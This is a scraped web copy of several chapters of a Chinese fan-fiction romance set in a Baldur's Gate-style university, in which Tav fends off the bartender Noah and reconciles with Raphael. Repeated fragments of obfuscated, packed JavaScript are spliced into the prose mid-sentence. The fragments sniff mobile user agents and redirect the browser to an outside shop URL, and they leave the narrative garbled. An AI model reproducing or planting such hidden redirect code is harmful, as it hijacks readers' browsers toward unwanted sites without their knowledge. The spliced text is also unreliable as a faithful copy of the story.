l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174123|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个词,但她完全没有听懂。又问一遍,仍是如此。 塔夫心念一动,回头看去。 居然真的是诺亚。 他跟着她干什么?又要跟着她去哪儿? 她心里的恐惧少了很多,一下站定,直直伸出手臂:“你别再过来了!” 诺亚显然没有听懂——虽然塔夫觉得只靠手势和语气也足够说明她的意思,但他还是一直走到她身前才停下。 两人身高体型的差距一下变得明显。 尽管在拉斐尔手中无力反抗,诺亚其实比她高出整整一个头。他智力看上去没有受损,表情丰富,但说话时十分吃力,哪怕偶尔说出来的完整音节,塔夫也完全无法理解,又看着他因为用力而唾液纷飞,忍不住嫌恶地皱起眉。 诺亚应该是在求情讨饶,看上去十分可怜,但眼睛里是无法掩饰的怨恨。 ——我已经这么可怜这么凄惨了,你居然不同情我帮助我,还厌恶漠不关心?! ——更何况这完全都是你的错!我只是要求你帮我一个小忙,你居然还敢这么对待我?! “我听不懂。”塔夫终于不耐烦起来,退后一步,“我也帮不了你。我要回去了。” 尽管诺亚无法理解塔夫讲了什么,但她的表情已经能够说明一切。他顿时勃然大怒,不再掩饰心中恨意,伸手就要来拽她胳膊,给她点颜色再威胁她帮忙。 塔夫前一阵子还磨着影心要教她防身术,眼下诺亚突然靠近,她一时无法转身逃跑,干脆上前一步站稳,直接死死揪住他的长发往下拽,另一只手朝他下巴使劲推了上去:“别碰我!” 诺亚没有一点准备,应声向后跌倒,狠狠摔在地上,“哎”了一声。 这反而让塔夫诧异了半秒。 原来他呼痛时的叫声倒还是正常的? 不,原来这招防身术这么好用?那为什么推拉斐尔的时候他一动不动? 她忍不住又在诺亚小腿胫骨上重重踢了一脚——因为她踢不到其他地方。诺亚吃痛,蜷着身子想要去抓她脚踝,反被她结结实实地踩到手指,更加大声地“哎哎”叫唤起来。 趁此机会,塔夫没有回头地全速跑开。 哈!实战胜利! 回去得跟影心好好炫耀一番! 可惜没等她开心多久,脚步声又追了上来,而且比刚才还要快。 塔夫心里叫苦。她这次恐怕是彻底激怒诺亚,没办法言语安抚了。离学校到底还有多远,她来得及跑到大门吗?她记得大门附近有请求校警帮助的按铃。如果她现在大喊的话,会有人听见还是会减慢她的速度。 “塔夫!”身后那人先开口喊她。 塔夫速度一下放慢,又被惯性推着跑几步才彻底停下,气喘吁吁地转过身:“拉斐尔?” 话音未落,拉斐尔已经追到。 他伸出手似乎想要抱住她,却又担心她仍在生气或者自己身上带着汗意,塔夫已经扑到他怀里:“太好了!是你!吓死我了!” . “是我。” 拉斐尔紧紧抱住塔夫,手慢慢抚摸着她的头发。 太好了。 没有事。 他微微转过头,眯起眼睛看向来时的方向,轻轻摇了摇头。 那里,一个高大影子扶着手臂佝偻着,整个身子颤抖了一下,从树影中离开。 . 59.道歉 “呜。” 诺亚拖着脚,满嘴含混不清地走了过来。 拉斐尔面无表情地俯睨着他。 塔夫被拉斐尔用一种保护性的姿势拥在怀里,有些惊奇:“他怎么也在?他刚才要上来抓我!他怎么还敢过来?” 拉斐尔声音发冷:“他来道歉。” 诺亚努力把自己缩得更小一些,说话时近乎哽咽。 ——我道歉,我说对不起还不行吗。 ——我都已经道歉了,你怎么还不原谅我?你不原谅我,那就是你的问题了,气量真是够狭窄的。就算我有错,难道你就没错吗?你最起码错了一处,你不肯接受我的道歉。 塔夫无法理解诺亚到底在说什么,却只靠他的表情,就一下子认同了拉斐尔之前对道歉的讥讽。 既没有悔改、也没有行动上的改变、还反过来向别人施加压力,对于诺亚这种人口中的道歉来说,简直都再正确不过了。 他绝对不会认为自己有错。 她瞧着诺亚一脸无辜努力装出歉疚的表情,五官因太过用力而几乎扭曲,心里厌恶越来越多:“他到底要说到什么时候?你特意让他来道歉?” 拉斐尔却直接对诺亚道:“你可以离开了。”诺亚仍想说什么,拉斐尔笑了笑,“不,我们之间还没有结束。”他缓慢地摆着口型:游.戏.继.续.。 . 诺亚终于死心了。 直到这该死的游戏结束,除了眼前的这个恶棍,他没办法同任何人正常说话了。 他忍不住簌簌发抖,伸手胡乱擦了把脸,不再摆出可怜的姿势,嘴角向下低垂,眼角一片通红,又因为五官俊秀,看上去反倒真的凄惨无助起来。 他觉得自己简直倒霉透了,哪怕真的做错了什么,也绝不应该遭受这种程度的惩罚。 而且真要说起来他也只犯了一个错误。 ——他选错了对象。 谁知道塔夫正交往的家伙如此心黑手辣,甚至不给他任何反悔的机会! 诺亚想到这里打了个寒颤,意识到自己对此无能为力,只能掉转枪头。 呵,塔夫也会倒霉的。 她以为她很特别吗?不过是现在还让那家伙感兴趣,暂时得意一阵子罢了,最后绝对会栽跟头的。 是的。她一定会的。 她以为自己能赢,但那家伙离得越近,下场就一定会越惨!那家伙和善良心软的自己可不一样,残忍冷漠,根本不把别人当人!把别人的痛苦当成游戏! 他会等着报复塔夫的那一天。他会狠狠鄙夷嘲笑她,他早就告诉过她这些!看她在自己面前后悔痛苦…… . 诺亚心里上演一场“受难英雄成功归来并复仇无情无义恶女子”的精彩大戏时,拉斐尔已经牵着塔夫走远。 仿佛昨天的嫌隙从未发生过一般,塔夫比划着向他讲述刚才是如何对付诺亚的。 虽然拉斐尔亲眼看到了那一幕,却还是想要听她手舞足蹈地再说一遍。 他可真喜欢她这副神采飞扬的得意模样。 “你怎么会突然出现在这儿?”塔夫笑着说完,又毫无停顿地问。 . 因为他一直在。 拉斐尔看到塔夫和同事提前离开,心里不快却又知道这毫无道理。 虽然过去数周他总是同塔夫一起回去,可这并不意味着他便可以一直占据她身边的位置。 当他看到酒保的身影时,那不快便有了一个出口。 而他本就准备默默跟上,此时又有了更好的理由。 酒保居然想通过塔夫联系自己?不过几日就能再次忘记招致这一切的原因。真是不长记性的蠢货。 拉斐尔计算着距离和出手的时机,刚从树后迈出一步,就立刻退了回去。 塔夫防卫术使用得行云流水,让他不由得生出怀念之情。而最后那一脚更是踢得干脆利落,让他甚至有些羡慕酒保了。 …… 不,刚才那句不是真的。 拉斐尔望着塔夫跑远,感到既骄傲又失落:她有能力自己解决找上门的麻烦,但这似乎又意味着她并不需要他,甚至连他的保护都不需要。 酒保刚才是哪一只手想要去抓塔夫?唔,是左边。他在那条胳膊上碾了一脚: “去.道.歉。” 现在回忆起来,那可真是个不够明智的决定。 对塔夫的询问,拉斐尔没有提到以上任何细节,更没有提他之前心里转过很多想法计划,其中也包括利用酒保做点什么。因为最后,他还是把那些都放到一旁,决定按塔夫的方式来——找到她,直接告诉她自己的想法。 . 拉斐尔抿了抿唇,说:“我来道歉。” 塔夫立刻想起诺亚刚才的“道歉”,不由得做了个不耐烦的表情。 拉斐尔看到一怔,声音低了些,仍继续说:“我昨天不应该对你生气。” “你不用道歉。我之前不也对你生气了,你可没要求我说对不起。而且按照你的话来说,你也只是在表达情绪。”塔夫说完顿了下,“我不是想要阴阳怪气……” “至少,我可以换一种表达方式。” 拉斐尔认真解释起来,比起对她的决定冷嘲热讽和挖苦指责,他当时本可以直接说,他有多么想要和她有更多时间在一起相处,哪怕多几个小时……虽然他说是道歉,可句句都是情意,十分动人。他也没有一次次要求她原谅,却让塔夫简直没办法不原谅他。 她一时有些难为情,支支吾吾起来,也向拉斐尔说了对不起:她的那番话太过尖锐了。最后小声说: “我也想要多和你在一起,真的。” 她声音很低,不过拉斐尔听到了,又立刻重新握住她的手(她之前比划怎么推倒诺亚时,自然地把手抽了出来),继续情意绵绵地顺着她的话说。 他知道她有更重要的事,也一点不介意被排在学习和社团活动后面,反而觉得她专注自律,因此更有吸引力、更令人着迷了,这不禁让他很想见见她认真复习的样子。 塔夫忍不住笑着瞥拉斐尔一眼。 这个巧舌如簧的家伙,重点根本在最后吧。 拉斐尔一直很专注地望着她。 没错,他就是这个意思,他想要和她一起复习。而且他也会想办法,让两人可以在演出结束后尽可能多待一会,比如第二天早上和她一起去博德之门送她,希望她也能够愿意。 听到这样一番恳切的话,塔夫自然不会再提“还不一定会确定关系”的事,她简直想要邀请拉斐尔暑假一起回农场了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182931|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。还好二人已经走到宿舍塔楼前,她把那个邀请及时咽了下去。 今天时间没那么晚,周围还有人陆续回宿舍。塔夫心里开心,飞快地给拉斐尔一个告别拥抱:“复习的事我们等周六再说。” 拉斐尔表情失落了一瞬,也不知道是因为拥抱过于短暂、他没有来得及回拥住她,还是因为她的这个回答。 她似乎真的在把同拉斐尔有关的事向后拖? 塔夫意识到这点,又补充说:“我们就约这周日一起复习,具体时间周六定。很快再见!” . 回到宿舍房间,塔夫向影心说起防卫术的卓越成果,被无情奚落: “又要骗我学是吗?故事编得也太不认真了!既然拉斐尔在,哪还轮到你动手,或者谁这么不长眼睛还会选你动手。” “是真的。”塔夫笑眯眯说。 影心不知道自己同拉斐尔昨天吵架的事,自然以为她和他如往常一样一起回来。她没多解释,也没再继续蘑菇影心,洗漱躺到床上,却忍不住抱着被子闷声打了几个滚。 约好周日之后,拉斐尔忽然笑起来的样子也太含情脉脉了!简直像是她说了什么了不得的情话似的。他眼神本就深邃,再那样看着她…… 还有今天晚上。在诺亚的惨烈对照之下,拉斐尔的一番道歉以及后面的狡黠劲,让她都要忍不住猜测,诺亚的事情是拉斐尔自导自演,专为衬托他自己呢。 应该不会吧…… 塔夫怔了下,刚生出些疑虑又立刻打消。 ——拉斐尔明显不喜诺亚,甚至一直只称呼他为酒保。 所以诺亚的这次“主动捣乱”简直可以算是一石三鸟:让她成功使用防卫术心情愉快,让她和拉斐尔自然地重新开始对话,让拉斐尔之后的道歉显得格外真诚讨喜。 她甚至觉得可以感谢下诺亚? 从拉斐尔的态度和他对诺亚的几句话来看,她能够很肯定地推测,诺亚的失语症是拉斐尔的手笔,并且有一个期限。而诺亚等不及,这才不到三天,便来找她求情。 考虑到弗兰的询问、餐厅的经营、以及她自己也有些好奇,塔夫决定周六的时候倒是可以问问拉斐尔,对诺亚的惩罚还会持续多久。 . 最后一周上课结束,复习周还未正式开始,但校园里早已弥漫着的焦虑气息更加明显起来。 周六的排练是一次短暂逃离,团员全员到齐,而且按菲拉的提议,很多人提前不少到了小剧院。 泽希诺从中午就开始忙忙碌碌,恨不得多长出几双手臂。 塔夫同道具学弟检查舞台布置,欣慰地赞扬他这学期成长了很多,结果他立刻就闹出点差错,让她有些哭笑不得。 里萨的灯光效果则需要等到期末之后再说,最后一幕暂时只是打出象征希望的光晕。 一片乱中有序的嘈杂里,塔夫像是得到灵感一般地抬起头,正望见拉斐尔走入小剧院。 隔着观众席,他在一群人中一眼找到她,弯起唇,便始终没有再移开视线。 塔夫感到一种奇妙的靠近。 虽然拉斐尔是贵族,但不记得从什么时候开始,她就已经很少觉得他距离自己遥远。 而这次,她清楚地感受到,拉斐尔离她更近了。 . 60.距离 “啊!你已经换了衣服。” 泽希诺也看到拉斐尔,上下打量一番后十分满意, “这套很符合吉姆的身份。先去后台,也需要给你上妆。” . 塔夫顿时感到一阵滑稽。 居然是这样吗? 拉斐尔的衣服、饰品、鞋子一向都恰到好处,虽然不夸张刻意,但只靠质感一看就不会便宜。而她刚才感到二人距离拉近,不是因为拉斐尔主动道歉所以同他心理距离缩短,其实只是因为他换了一身没那么讲究的衣服? 哪怕她没有专门观察,也能下意识地体会到金钱堆出的距离。 塔夫不由得好笑起来,再次对上拉斐尔的视线,忍着笑重复泽希诺的评价:“很符合角色。” . 预演正式开始前,速写和法师也陆续按约定时间到达。 在菲拉的指挥下,拉斐尔和阿斯代伦很有经验地迅速摆出几个姿势。法师到来后(态度不算高傲但也并不谦和),速写暂时搁置,先记录幻影。 其中幻影影像是两人的一段共舞,而幻影海报——在塔夫的强烈要求下,力排众议,做成了萝拉在烛光中抚摸独角兽的单人海报。 泽希诺在一旁,仍然颇感失望,在菲拉耳旁顿足提醒道:“那其他海报可得多表现出情感冲突!” …… 因为这次要处理更多事情,当塔夫需要提前离开去镇上兼职时,还有整整三场戏没有排练。 “你去吧,别担心,这次一定不会出意外。”菲拉信心满满。 “这说法已经像是坏预兆。”塔夫连忙比了个幸运的手势,“要你多费心了。” 她同大家道别后又对拉斐尔眨下眼睛:一会见。 . 塔夫来到餐厅的第一件事,就是询问弗兰关于诺亚的情况。 “没有他的消息,恐怕没有好转。” 弗兰看上去有些烦闷,长长叹了口气,但话出口却是安慰, “别担心那么多,这不是属于你的压力。你要期末考试了吧?今天是你这学期的最后一次班,后厨为你做了特别的员工餐,快去吧。” 塔夫拿着豪华三明治来到员工休息室,发现弗兰还给她准备了另一份小礼物。 ——弗兰一向这样体贴,哪怕自己只是兼职。 塔夫打开袋子,看看里面绑着缎带的小羊皮笔记本,决定她并没有原谅诺亚或对他心软,而是想要帮助弗兰。 . 同拉斐尔回学校的路上,听他讲述完接下来的几场戏也排练顺利后,塔夫便提起诺亚: “他的失语症会持续多久?” 拉斐尔顿了下,似笑非笑瞧着她:“你在关心他?” 塔夫好笑地瞥他一眼,干脆直白问出目的:“不。不过你有办法让他回去上班吗?” “为什么?” “弗兰看上去有些焦虑。另一位酒保也已经连续工作一周——他在另一家酒馆还有夜间班次。我今天兼职的时候,一直能够感到这种压力。所以我在想,也许诺亚回来会更好。” “但今天是你最后一次兼职。”拉斐尔说,“那些压力已经不会再影响到你。”塔夫诧异地望向拉斐尔一眼,他表情平静地继续问,“你对‘诺亚’的想法是什么?你认为一周的时间对他来说已经足够长了?” 感到自己的隐约不快和争吵的苗头,塔夫做了个深呼吸,避而不答:“我只是问问,因为弗兰一直很照顾我。” “这是弗兰的请求?” “不,她叫我别担心。”塔夫决定放弃这个话题。 拉斐尔笑笑。没过一会,塔夫忍不住又绕回去:“诺亚的失语症是因为你,对吗?所以你有办法让他重新能够听话、说话,对吗?” “那么,你的回答是?” “什么?”塔夫想起拉斐尔之前的问题,叹口气,“我说不好这惩罚的时间是否足够。不过我的请求其实跟诺亚没什么关系。” 她话说出口就觉得不太对。 拉斐尔果然轻笑一声,塔夫却微微气恼起来:“我并不是在可怜诺亚,我其实一点也不在乎他。只是弗兰也受到影响,这对她似乎有些不公平。” “所以你希望一切回复原状,无论诺亚是否真的学到教训。” “我不喜欢你话里的暗示,我也不觉得这有什么不对。”塔夫说,“餐厅现在的情况比之前要糟糕,而且不知道会持续多久,所以我一开始是那样问你。” “那我也说得更直接一些,我认为诺亚失语的时间还远远不够。” “这个时间长短是由谁决定的?怎么才算是足够?评判的标准又是什么?” “我有这个‘能力’。”拉斐尔道,“在这种情况下,这点就已经足够了。” 塔夫尖刻地问:“你的意思是你全凭个人想法、不考虑对别人的影响啰?” 拉斐尔顿了顿:“我们还是在说酒保的事情吗?” 塔夫一时语塞。她刚才确实想到了自己和拉斐尔最初的几次交锋。虽然情况不尽相同,拉斐尔凭心情做事的态度却没有多少差别。 受贾希拉影响,塔夫其实对法律、制度之类的态度最好也是不置可否,不觉得拉斐尔以牙还牙的手段有什么问题,但强逼或压迫的方式却总还是令人厌恶。 不过她还记得二人最激烈的那次争吵,此时换了种更温和的方式:“那诺亚有其他选择吗?对餐厅影响小一些的惩罚?” “我提出了邀请,他加入了游戏。”拉斐尔说,“至于现在,在他真正认输前,游戏无法结束。” “什么游戏?” “与契约的力量相似,但没那么正式,只是为了保证他无法逃脱后果。” “诺亚只有认输或接受惩罚两种选择?那他为什么会接受玩这个游戏?” “这是一个好问题。”拉斐尔忽然微笑起来,“他本可以拒绝的。但是他没有。” 塔夫原本正瞪着拉斐尔,却忍不住也跟着笑了:“我猜,恐怕是诺亚根本以为自己会赢。或者说你骗了他,让他以为自己能赢。” “我更喜欢‘迫移’这个说法。游戏本身是公平的,至少在规则准许的范围之内,否则我也会受到影响。只不过,哪怕他清楚自己没有赢的可能,也无法拒绝我的邀请。” 塔夫更加好奇起来,追问“游戏”细节。拉斐尔却不愿、或者不能透露更多,但很肯定地告诉她,诺亚现在这个情况,完全是他在“自作自受”。 听到这番话,想起诺亚上次以为自己舌头不见的情形,塔夫已经有了大概猜测——诺亚仍认为自己是无辜受害者没人理解他,同时他也不想听懂别人对他的真实评价,于是就变成现在这个模样。她忍不住加了一句讥讽: “也可以算是,他心想事成?” 拉斐尔笑着在她额头上点了下:“你比我还刻薄。”顿了顿又说,“我会找一位临时酒保顶替他。”不等塔夫再说什么,他已经做出决定,“会有人需要这个机会。” 塔夫替弗兰谢过他,想到什么,又为自己感谢拉斐尔:“无论是对诺亚,还是对弗兰,你都是考虑我才这样做的。” “是。”拉斐尔笑着握紧她的手,“不过我出于个人情感也并不喜欢他。” 塔夫点点头:“我能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192645|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。” 不过令她没想到的是,她本以为拉斐尔既然是贵族,想惩罚一个人便惩罚了,但听上去还要符合某种规则。恐怕在他心底,私刑是违反法律的不当行为。 他也的确始终没有说这是对诺亚的“惩罚”,而是“公平”的游戏的结果。 她对此很不以为然:拥有权力的人,自然会维护权威的正当性。除此之外,权力本身就很能引发不公平——为了达到自己的目的而忽视其他人的需求。 不过真要说起来,拉斐尔似乎只有利诱,没有威逼。哪怕是派对那次令她不得不主动找他,也是通过给剧团演员提供“更好”的选择,间接地对她施加压力。 …… “在想什么?”她一直沉默思索,拉斐尔问。 塔夫心里继续想着对诺亚的惩罚,嘴里问的却是:“如果当初我接受了你的支票,也要玩这样一个游戏吗?” 拉斐尔笑了:“我可不会回答。” “你难道不会担心,我拿了钱却不闭嘴?”塔夫追问。 “这只会让你回忆起对我的负面看法。”拉斐尔仍笑着摇头。 “反正你也要‘详细’说明当初是如何寻找我的恐惧。” 塔夫说着又模仿起当时的情景, “天啊!我的女神!两万金币?我当然会按你说的做!我可以为你做更多,如果你需要我的话! “好了,到你了。进入情景,开演!” 拉斐尔无奈瞧着塔夫,被催促着,只得轻咳一声,终于还是重新用上当初居高临下的口吻: “很好。那么如果你保持沉默直到期末结束,我会再给你一张相同金额的支票。” “吓?”塔夫一下松开手。 拉斐尔却像是预见到结果一样,一直牢牢牵着她,立刻说:“不过并没有如果。” 塔夫其实只是重新被他的出手阔绰吓了一跳。 平时不觉得,但他随随便便就给出整整四万金币,仿佛那只是一个数字。再想到自己口袋里不足一百金币、便已经称得上丰厚的小费,塔夫有些被拽回现实。 拉斐尔似乎也在懊恼自己刚才的语气,变着花样幽默又详细地说起如何判断恐惧来。 瞳孔放大啦、心跳加速啦、呼吸加快啦,以及恐惧又是如何正常等等:“因此,并不是所有的恐惧都可以激发出诺亚一样的反应。” 至于两人初见时,他也的确感受到她的害怕,不过那只是为了应对当下的威胁——他本人。而恐惧时产生的生理反应和被吸引时的心动极为相似,所以他就直接把自己当成武器了。 “还真够简单粗暴的。”塔夫果然被逗笑了。 “越直接的方法,效果往往越好。”拉斐尔不承认她的评价。 “反正对我没起作用。” “就现在来看,还是有效果的。”拉斐尔又像是在解释什么,“而且我是‘第一次’尝试,就取得了如此成果。” “好好好。”塔夫调侃回去,“谁能想到居然会变成这样呢,我也只能勉强接受了。” “只是勉强?” 两人早已回到学校,一直在小路上慢悠悠走着,因为谁都不想先说再见,就干脆停下专心聊天。此时拉斐尔笑吟吟瞧着她,语气明明也是玩笑,眼睛里却带着一股认真。 塔夫心里一颤,忽然不知道该怎么回答好,便干脆飞快给拉斐尔一个拥抱,又趁他没有反应过来,后退半步清下嗓子:“已经不早啦,该说说我们明天……” 这一次,拉斐尔回拥住她。 “……几点见了。” 拉斐尔手臂收紧。 . 61.不安 他是在撒娇不想说再见吗? 塔夫心里柔软,手也慢慢环上拉斐尔,刚想在他背上摸摸表示安抚,他却微微松开手臂又弯下身来。 塔夫:“?” 拉斐尔说:“你在上面。”却是记得她喜欢抱住他肩膀。 塔夫不禁好笑:“其实这样拥抱我也很舒服。”上次主要是还是因为他突然搂得太紧,她要喘不过气了。 拉斐尔却彻底松开她,手从她胳膊下穿过,揽在她腰上,将她整个抱了起来。塔夫不得不搂住他的脖子,心里一下变成哭笑不得,刚要说什么,拉斐尔已经俯身放下她,又把她重新紧紧拥在怀里。 虽然觉得他也太过固执,塔夫还是无法放过在拉斐尔脖子上蹭蹭的机会,耳鬓厮磨好一阵,才恋恋不舍收回手:“我们明天还会见面。” “我去哪里找你?”拉斐尔问。 “我们下午直接在图书馆正门的台阶前见好了。” 塔夫估计拉斐尔上午都有训练——事实也的确如此。 而她同菲拉、绘画社几人之前约好周日上午碰面,在期末结束前最后一次正式讨论剧团的安排。 塔夫瞧见拉斐尔要说什么,猜到他大概坚持要来找她,先一步用了他可能会用的理由:“直接在那里见面,我们相处的时间会更多!” 不管逻辑对不对,要先占据气势! 她一脸笃定地朝拉斐尔扬起下巴。 拉斐尔慢慢点点头同意了,两人又短暂拥抱一次(拉斐尔这次还更进一步,趁机在塔夫头发上偷偷亲了下,但被她发现了),这才终于告别。 . 见拉斐尔回来,哈勒普立刻站起身:“你父亲的来信。” 是校友日相关事宜,后附一份重要校友的名单,不过那主要给哈勒普的。对拉斐尔的要求则是拜访某某校友、组织某某酒会,以及如果他没有女伴,第三天的活动邀请米佐拉。 拉斐尔微微皱起眉:“我已经有安排。”他顿了顿,“属于契约的一部分。” 虽然塔夫无法答应他的约会邀请,但他已经打定主意,第三天和她一起去博德之门。 至于理由,考虑到契约力量对自己也存在束缚,结束契约算是一桩重要的事,自然越早越好。而他可以在路上同塔夫说起契约的完成与终止,这是非常站得住脚的解释。 哈勒普停顿片刻,又继续信中内容:“哪怕你已经有安排和女伴,第三天晚上的校友慈善舞会,也需与米佐拉一起露面。” 拉斐尔从哈勒普手中接过信,快速扫过那只有几行字的羊皮纸。是父亲的笔迹。 如果一定要出现在舞会上给别人瞧,拉斐尔抬眼看了看哈勒普,讨女士喜欢、令她们度过一个愉快的约会这种事情,哈勒普很擅长,米佐拉那边恐怕也更乐得轻松。 至于他自己,哪怕会在马车上和塔夫为怎么度过夏天、或者到底去哪里度过夏天打一架再吵一路……这似乎是个好主意,他已经期待起来了。拉斐尔忍不住轻笑一声,惹得哈勒普眼神询问。 “我会亲自给父亲回信。”他敛起表情,收好信笺。 . 第二天。 结束上午的训练,洗过澡又打理好头发,拉斐尔在图书馆前找到塔夫。 和很多学生一样,她直接坐在台阶上看起书,浓密长发随意扎成一个马尾,几乎看不到细细的发圈。他默默找了一会,找到了,视线又在她露出的光洁额头和耳旁碎发上停留片刻,终于走到她面前,更仔细地数着她小扇子似的睫毛。 塔夫仰起头,见是他,立刻绽出笑容。 拉斐尔也不由得跟着微笑起来。 原来无论等待还是被等待都会令人感到愉快。 他在她身旁坐下,揶揄问:“这就是我们今天复习的地方?” “如果不需要写笔记的话,也许不是个坏主意。除了,”塔夫刚才视线一直停在他身上,此时看了看周围,“这里太过人来人往。” “因为你……仍然不想被别人看到和我在一起?” “因为来往的影子会从书页上划过去,有点分神。”塔夫怔了下,“我以前好像说过类似的话?不过现在已经不一样了,我并不介意。” 拉斐尔立刻笑笑:“当然。我知道。” 然而他却移开了目光。 他刚才,居然下意识地突然问出那种话…… . 塔夫伸出手牵住拉斐尔。 不知道从什么时候开始,拉斐尔自然进入她的生活,按她的时间安排陪在她身边。她也从聊天和几次争吵中了解拉斐尔更多,却一直没有主动进入他的生活。 她当然是有理由的。在医学院和奖学金的申请尘埃落定前,其他都是次要的,她和拉斐尔也还没有到非常亲密的程度。但有些事情其实没那么难,比如观看赛艇队的比赛,为他加油。她知道比赛日程,影心也常常提起。 然而她却回避了。她在偷偷担心着什么吗?害怕自己现在的生活方式改变?担忧自己会在习惯另一个人后失去独立?又或者仅仅是,因为拉斐尔没有邀请她,她怕主动提出会被拒绝,发现他其实没那么在意她? 和拉斐尔在一起,除了开心,她也会感到不安。 原来拉斐尔也同样会感到不安吗。 塔夫忽然开口:“我其实很喜欢……” 她想说她喜欢他,无论是自信的时候,还是刚才有些不安的时候,又或者是昨天赖在她身边的时候。那些偶尔流露的几乎有些脆弱的小情绪,令她觉得他真实可爱。她希望他也会是如此想的。 “……我很喜欢我们现在的状态。”她最后只说,清了清嗓子,又有些突兀地问, “期末之后的赛艇决赛,我可以去看吗?” “当然。”拉斐尔立刻看向她,片刻后笑着重复一遍,“当然了。” 塔夫也忍不住笑起来,在拉斐尔胳膊上靠了靠,这才重新坐好和他商量起来。 与比赛同样重要的是比赛后的庆祝(如果不是更重要的话),塔夫与拉斐尔约好在派对见面的时间,又问起这学期之前的几次比赛,接着聊到赛艇队的训练,还有和其他学校之间的各种趣闻。 “……安苏他们这三年来居然一次都没有赢过我们!”塔夫感慨,“你当初为什么会来博得安?如果你去安苏,输的恐怕就会是我们了。” “可别忘了哈尔辛,我敢说安苏绝对试图用体育奖学金劝他加入,而且不止一次。”拉斐尔夸赞一番队友,又微笑道, “至于我,我的父母都曾在博得安大学学习,还有我父母的父母,以及向前更多代。你大概可以想象到,如果没有考上或者没有选择博得安,我恐怕会被杀掉,也许更糟,成为耻辱被赶出家门。” “你肯定更糟的顺序没错吗?”塔夫笑着瞥他一眼。她记得影心讥讽过贵族只凭借出身和祖辈恩荫就能被录取。哪怕事实的确如此,看上去也总有另一面。 拉斐尔只是笑着朝她挑下眉毛:“我们已经说了太多我的事。你呢?” “我和你相反。”塔夫顿了下,“我是我们家第一个来念大学的人。” 这时一阵风忽然吹过,把她的碎发吹到脸颊又粘在唇上,塔夫的话便停住了。 拉斐尔伸出手,想要帮她把头发别回耳后。可塔夫已经捋好,他便只是正了正自己并没有歪的领口:“我知道你想要成为医生,选择博得安是因为这个原因?” “说实话,我不会说这是一个‘选择’。”塔夫犹豫片刻,又觉得可以放心对拉斐尔说这些, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199906|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这一直以来其实更像是个梦想,无论是博得安大学、还是成为医生,哪怕我在这里已经快满三年。 “我母亲和姐姐总是信任我、鼓励我,但我自己刚开始真的没想到会成功。我还记得收到录取信还有奖学金信的那一刻,我像是忽然意识到,除了很幸运,也许我也挺厉害的。 “既然我能够来到这里,那成为医生也不会只是个疯狂的想法。所以我决定要尽一切努力,让这个可能也变成现实,让我母亲和姐姐骄傲,也要让我自己骄傲。” 拉斐尔一直沉默看着她,眼睛流露出的神情让塔夫有些不安。 她说得太多了吗?塔夫抿唇笑了下:“我……” “我很抱歉,塔夫。”拉斐尔突然别过脸,“为我,之前,对你做的事。” “诶?我说这些不是想要让你道歉的。你也早就已经……”塔夫忽然被拉斐尔紧紧抱住。 他心跳快得可怕,手臂、甚至连着肩膀都在微微颤抖:“不,我并没有。”拉斐尔顿了下,“我很奇怪我竟然没有意识到这一点。也许是我有意不去想。” 他声音变得有些闷闷的,“我真的,很抱歉。” 对不起,我曾经无视你的追求和愿望,并没有真正尊重你的想法和感情。从今以后,我会努力支持你,而不是为满足我自己的心意去影响你控制你,希望你能够原谅我。 塔夫手慢慢抚在他背后:“那些事已经过去了。” 拉斐尔没有说他到底意识到什么,只是紧紧抱住她,偶尔又低声说一句对不起,塔夫却隐约猜出他突然歉疚的原因,安慰道:“没关系,我已经不在意那些事了。现在反而觉得我们的关系因此变得特别。” “……” 拉斐尔抱她抱得更紧。他身子很暖和,头发柔软,像一只大狗,或者更像是细绒山羊,还是从来没有剪过初毛的羊羔,而且是吃着龙舌兰长大的。 塔夫觉得自己的比喻越来越离谱,忍不住在拉斐尔头发上亲了亲:“谢谢你这么坦诚地告诉我。”他的头发被太阳晒着,也是暖烘烘的,贴在脸上感觉格外舒服,塔夫就又蹭了好几下,这才说,“我更期待的是我们接下来会发生什么。” “我也很期待。”拉斐尔终于慢慢松开她,琥珀色的眼睛里是几乎有些湿润的温柔情意。 他自然地抬起手,塔夫心脏一下子怦怦跳了起来。 拉斐尔理了理被她蹭乱的头发。 塔夫:“……” 于是她立刻上手,准备好好再揉他头发一把。 拉斐尔居然异常敏捷地躲开了。 塔夫:“?!” “不太喜欢,或者说习惯被摸头发。”拉斐尔微笑起来,似乎有些难为情,很快又冲她低下头,“那我们轻一点,就一下,好吗?” 